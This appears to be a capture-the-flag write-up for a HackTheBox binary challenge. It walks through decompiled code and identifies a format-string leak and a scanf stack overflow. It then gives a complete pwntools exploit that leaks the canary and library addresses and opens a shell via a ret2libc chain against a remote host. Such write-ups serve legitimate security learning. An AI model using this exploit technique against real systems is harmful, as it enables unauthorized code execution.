

What does the f say

1) Checked Security

```
(vigneswar@VigneswarPC)-[~/Pwn/What does the f say]
$ checksec what_does_the_f_say
[*] '/home/vigneswar/Pwn/What does the f say/what_does_the_f_say'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
```

2) Decompiled code

```
Decompile: main - (what_does_the_f_say)
1
2 undefined8 main(void)
3
4 {
5     long lVar1;
6     long in_FS_OFFSET;
7
8     lVar1 = *(long *)(in_FS_OFFSET + 0x28);
9     setup();
10    welcome();
11    fox_bar();
12    if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
13        /* WARNING: Subroutine does not return */
14        __stack_chk_fail();
15    }
16    return 0;
17 }
18
```

```
1
2 void fox_bar(void)
3
4 {
5     long in_FS_OFFSET;
6     int local_14;
7     undefined8 local_10;
8
9     local_10 = *(undefined8 *) (in_FS_OFFSET + 0x28);
10    do {
11        while( true ) {
12            while( true ) {
13                printf("\nCurrent space rocks: %.2f\n", (double)srocks);
14                srock_check();
15                menu();
16                __isoc99_scanf(&DAT_0010209a, &local_14);
17                if (local_14 != 1) break;
18                drinks_menu();
19            }
20            if (local_14 == 2) break;
21            puts("Invalid option!");
22            goodbye();
23        }
24        food_menu();
25    } while( true );
26 }
27
```

```

1
2 void drinks_menu(void)
3
4 {
5     long in_FS_OFFSET;
6     int local_3c;
7     char local_38 [40];
8     long local_10;
9
10    local_10 = *(long *) (in_FS_OFFSET + 0x28);
11    memset(local_38,0,0x1e);
12    puts(
13        "\n1. Milky way (4.90 s.rocks)\n2. Kryptonite vodka (6.90 s.rocks)\n3. Deathstar(70.00 s.rocks\n"
14        );
15    __isoc99_scanf(&DAT_0010209a,&local_3c);
16    if (local_3c == 1) {
17        srocks = srocks - 4.9;
18        srock_check();
19        if (srocks <= 20.0) {
20            puts("\nYou have less than 20 space rocks!");
21        }
22        enjoy("Milky way");
23    }
24    else if (local_3c == 2) {
25        srock_check();
26        puts("\nRed or Green Kryptonite?");
27        read(0,local_38,0x1d);
28        printf(local_38);
29        warning();
30    }
31    else if (local_3c == 3) {
32        srocks = srocks - 69.99;
33        srock_check();
34        if (srocks <= 20.0) {
35            puts("\nYou have less than 20 space rocks!");
36        }
37        enjoy("Deathstar");
38    }
39    else {
40        puts("Invalid option!");
41        goodbye();
42    }
43    if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
44        /* WARNING: Subroutine does not return */
45        __stack_chk_fail();
46    }
47    return;
48 }
49

```

```
1
2 void warning(void)
3
4 {
5     int iVar1;
6     long in_FS_OFFSET;
7     char local_28 [24];
8     long local_10;
9
10    local_10 = *(long *) (in_FS_OFFSET + 0x28);
11    if (20.0 < srocks) {
12        enjoy("Kryptonite vodka");
13        srocks = srocks - 6.9;
14        srock_check();
15    }
16    else {
17        puts("\nYou have less than 20 space rocks! Are you sure you want to buy it?");
18        __isoc99_scanf(&DAT_0010215d,local_28);
19        iVar1 = strcmp(local_28,"yes");
20        if (iVar1 == 0) {
21            srocks = srocks - 6.9;
22            srock_check();
23            enjoy("Kryptonite vodka");
24        }
25        else {
26            iVar1 = strcmp(local_28,"no");
27            if (iVar1 == 0) {
28                puts("\nA Milky way is nice too if you want..");
29            }
30        }
31    }
32    if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
33        /* WARNING: Subroutine does not return */
34        __stack_chk_fail();
35    }
36    return;
37 }
38
```

```

2 void food_menu(void)
3
4 {
5     long in_FS_OFFSET;
6     int local_14;
7     long local_10;
8
9     local_10 = *(long *)(in_FS_OFFSET + 0x28);
10    puts(
11        "\n1. E.Tarts (6.90 s.rocks)\n2. Space Brownies (5.90 s.rocks)\n3. Spacecream (7.90 s.rocks) "
12    );
13    __isoc99_scanf(&DAT_0010209a,&local_14);
14    if (local_14 == 3) {
15        srocks = srocks - 7.9;
16        srock_check();
17        if (srocks <= 20.0) {
18            puts("\nYou have less than 20 space rocks!");
19        }
20        enjoy("Spacecream");
21        goto code_r0x001013fa;
22    }
23    if (local_14 < 4) {
24        if (local_14 == 1) {
25            srocks = srocks - 6.9;
26            srock_check();
27            if (srocks <= 20.0) {
28                puts("\nYou have less than 20 space rocks!");
29            }
30            enjoy("E.Tarts");
31            goto code_r0x001013fa;
32        }
33        if (local_14 == 2) {
34            srocks = srocks - 5.9;
35            srock_check();
36            if (srocks <= 20.0) {
37                puts("\nYou have less than 20 space rocks!");
38            }
39            enjoy("Space Brownies");
40            goto code_r0x001013fa;
41        }
42    }
43    puts("Invalid option!");
44    goodbye();
45code_r0x001013fa:
46    if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
47        return;
48    }
49    /* WARNING: Subroutine does not return */
50    __stack_chk_fail();
51 }
52

```

3) Notes

- i) There is a format string vulnerability in drinks_menu function
- ii) There is a scanf %s overflow in warning function

4) Attack plan

- i) First, lets find the libc version of the target by leaking addresses

```
(vigneswar@VigneswarPC)-[~/Pwn/What does the f say]
$ python3 solve.py
0x562cfd47f000 0x7fd08af20b97 0x9e57a6b95b467c00
exit: 0x7fd08af421d0
strcmp: 0x7fd08b068fd0
```

```
(vigneswar@VigneswarPC)-[~/Pwn/What does the f say]
$ python3 solve.py
0x5647b9b5f000 0x7f34ffd4ab97 0x1d546ec215e6ce00
puts: 0x7f34ffda9a30
```

```
You have less than 20 space rocks! Are you sure you want to buy it?
$ █
```

Search

Symbol name	Address	
exit	0x7fd08af421d0	REMOVE
Symbol name	Address	
		REMOVE
FIND		

Results

libc6_2.27-3ubuntu1.2_amd64

Download	Click to download
All Symbols	Click to download
BuildID	d3cf764b2f97ac3efe366ddd07ad902fb6928fd7
MD5	35ef4ffc9c6ad7ffd1fd8c16f14dc766
__libc_start_main_ret	0x21b97
dup2	0x110ab0
exit	0x431d0
printf	0x64f00
puts	0x80a30
read	0x110180
str_bin_sh	0x1b40fa
system	0x4f4e0
write	0x110250

ii) Now, we can just ret2libc

5) Exploit:

```
#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./what_does_the_f_say_patched")
libc = ELF("./libc6_2.27-3ubuntu1.2_amd64.so")
context.binary = exe

#io = gdb.debug(exe.path, 'b* warning+0x4f\nc')
io = remote('94.237.56.188', 45513)

io.sendlineafter(b'd\n', b'1')
io.sendlineafter(b'(70.00 s.rocks)\n', b'2')
io.sendlineafter(b'? \n', b'%15$p\n%25$p\n%13$p')
```

```

exe.address = int(io.recv(15).strip().decode(), 16)-0x174a
libc.address = int(io.recv(15).strip().decode(), 16)-0x21b97
canary = int(io.recv(18).strip().decode(), 16)

print(hex(exe.address), hex(libc.address), hex(canary))

for _ in range(10):
    io.sendlineafter(b'd\n', b'1')
    io.sendlineafter(b'(70.00 s.rocks)\n', b'1')

io.sendlineafter(b'd\n', b'1')
io.sendlineafter(b'(70.00 s.rocks)\n', b'2')
io.sendlineafter(b'? \n', b'green')

rop_helper = ROP(exe)
rop_helper.raw(b'\x55'*24)
rop_helper.raw(canary)
rop_helper.raw(b'\x55'*8)
rop_helper.rdi = next(libc.search(b'/bin/sh'))
rop_helper.rsi = 0
rop_helper.raw(libc.sym.system)

io.sendlineafter(b'it? \n', rop_helper.chain())

io.interactive()

```

6) Flag:

```

(vigneswar@VigneswarPC)-[~/Pwn/What does the f say]
$ python3 solve.py
0x5594a1567000 0x7f8b92255000 0x5ac6a3b4695f6700
$ ls
flag.txt
run_challenge.sh
what_does_the_f_say
$ cat flag.txt
HTB{th3_f_s4ys_f0rm4t_str1ng!!}
$

```